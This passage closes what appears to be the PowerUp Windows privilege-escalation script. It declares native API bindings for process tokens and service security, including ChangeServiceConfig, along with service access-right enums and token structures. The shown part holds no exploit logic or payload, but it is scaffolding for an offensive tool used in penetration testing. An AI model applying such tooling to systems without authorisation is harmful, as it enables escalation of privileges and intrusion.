3939 }
3940}
3941
3942
3943# PSReflect signature specifications
3944$Module = New-InMemoryModule -ModuleName PowerUpModule
3945
3946$FunctionDefinitions = @(
3947 (func kernel32 GetCurrentProcess ([IntPtr]) @())
3948 (func advapi32 OpenProcessToken ([Bool]) @( [IntPtr], [UInt32], [IntPtr].MakeByRefType()) -SetLastError)
3949 (func advapi32 GetTokenInformation ([Bool]) @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType()) -SetLastError),
3950 (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
3951 (func advapi32 QueryServiceObjectSecurity ([Bool]) @([IntPtr], [Security.AccessControl.SecurityInfos], [Byte[]], [UInt32], [UInt32].MakeByRefType()) -SetLastError),
3952 (func advapi32 ChangeServiceConfig ([Bool]) @([IntPtr], [UInt32], [UInt32], [UInt32], [String], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) -SetLastError -Charset Unicode),
3953 (func advapi32 CloseServiceHandle ([Bool]) @([IntPtr]) -SetLastError)
3954)
3955
3956# https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
3957$ServiceAccessRights = psenum $Module PowerUp.ServiceAccessRights UInt32 @{
3958 QueryConfig = '0x00000001'
3959 ChangeConfig = '0x00000002'
3960 QueryStatus = '0x00000004'
3961 EnumerateDependents = '0x00000008'
3962 Start = '0x00000010'
3963 Stop = '0x00000020'
3964 PauseContinue = '0x00000040'
3965 Interrogate = '0x00000080'
3966 UserDefinedControl = '0x00000100'
3967 Delete = '0x00010000'
3968 ReadControl = '0x00020000'
3969 WriteDac = '0x00040000'
3970 WriteOwner = '0x00080000'
3971 Synchronize = '0x00100000'
3972 AccessSystemSecurity = '0x01000000'
3973 GenericAll = '0x10000000'
3974 GenericExecute = '0x20000000'
3975 GenericWrite = '0x40000000'
3976 GenericRead = '0x80000000'
3977 AllAccess = '0x000F01FF'
3978} -Bitfield
3979
3980$SidAttributes = psenum $Module PowerUp.SidAttributes UInt32 @{
3981 SE_GROUP_ENABLED = '0x00000004'
3982 SE_GROUP_ENABLED_BY_DEFAULT = '0x00000002'
3983 SE_GROUP_INTEGRITY = '0x00000020'
3984 SE_GROUP_INTEGRITY_ENABLED = '0xC0000000'
3985 SE_GROUP_MANDATORY = '0x00000001'
3986 SE_GROUP_OWNER = '0x00000008'
3987 SE_GROUP_RESOURCE = '0x20000000'
3988 SE_GROUP_USE_FOR_DENY_ONLY = '0x00000010'
3989} -Bitfield
3990
3991$SID_AND_ATTRIBUTES = struct $Module PowerUp.SidAndAttributes @{
3992 Sid = field 0 IntPtr
3993 Attributes = field 1 UInt32
3994}
3995
3996$TOKEN_GROUPS = struct $Module PowerUp.TokenGroups @{
3997 GroupCount = field 0 UInt32
3998 Groups = field 1 $SID_AND_ATTRIBUTES.MakeArrayType() -MarshalAs @('ByValArray', 32)
3999}
4000
4001$Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'PowerUp.NativeMethods'
4002$Advapi32 = $Types['advapi32']
4003$Kernel32 = $Types['kernel32']